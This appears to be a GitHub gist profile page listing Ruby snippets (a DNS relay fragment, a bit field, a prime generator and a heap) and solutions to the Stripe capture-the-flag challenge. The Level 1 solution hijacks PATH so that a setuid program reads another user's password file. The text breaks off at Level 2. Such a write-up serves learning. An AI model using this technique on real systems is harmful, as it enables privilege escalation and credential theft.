Skip to content

Instantly share code, notes, and snippets.

View shadabahmed's full-sized avatar
🦋

Shadab Ahmed shadabahmed

🦋
59 followers · 19 following
View GitHub Profile
@shadabahmed
shadabahmed / gist:4951097
Last active December 13, 2015 17:49
Simple DNS Relay
.. initilized socket at port 53
data = server.recvfrom(Resolv::DNS::UDPSize)
sender_ip = data[1][2]
sender_port = data[1][1]
Resolv::DNS::Message::decode(data[0])
sock = UDPSocket.new(Socket::AF_INET)
sock.connect('8.8.8.8', 53)
sock.send(@query.encode, 0)
reply = sock.recv(Resolv::DNS::UDPSize)
@shadabahmed
shadabahmed / bitfield.rb
Created March 6, 2012 07:10
BitField - Dynamically optimizes for 64 bit or 32 bit integers. Bitfield can be used to store a list of numbers and accessing the numbers in or(1) time
# Sample use:
# Initialize a bitfield with max size
# b = BitField.new(32768)
# Add numbers
# b.add(5)
# b.add(16768)
# Find Numbers
# b.has?(5)
# Print the internal state of BitField
# b.print
@shadabahmed
shadabahmed / primes.rb
Created February 25, 2012 03:57
Primes - A class for finding upto nth prime .. optimizes by dividing by only already figured out primes
class Primes
# Initialize list of primes with 2
@@primes = [2]
@@current_prime = 1
# Reset the prime number generator
def self.reset
@@current_prime = 1
end
@shadabahmed
shadabahmed / heap.rb
Created February 25, 2012 03:55
Heap Class - Options to create max heap or min heap. Insertion, Removal , Max and Sort methods available
class Heap
# Specify whether max heap or min heap
def initialize(p, max_heap = true)
@arr = Array.new p
@max_heap = max_heap
build
end
def size
@arr.size
@shadabahmed
shadabahmed / ctf.txt
Created February 23, 2012 06:43
Solutions for https://stripe.com/blog/capture-the-flag
Level 1:
cd /tmp
echo "cat /home/level02/.password" > date
chmod +x date
PATH=`pwd`:$PATH
export PATH
/levels/level01
Level 2:
In javascript console before submitting the form: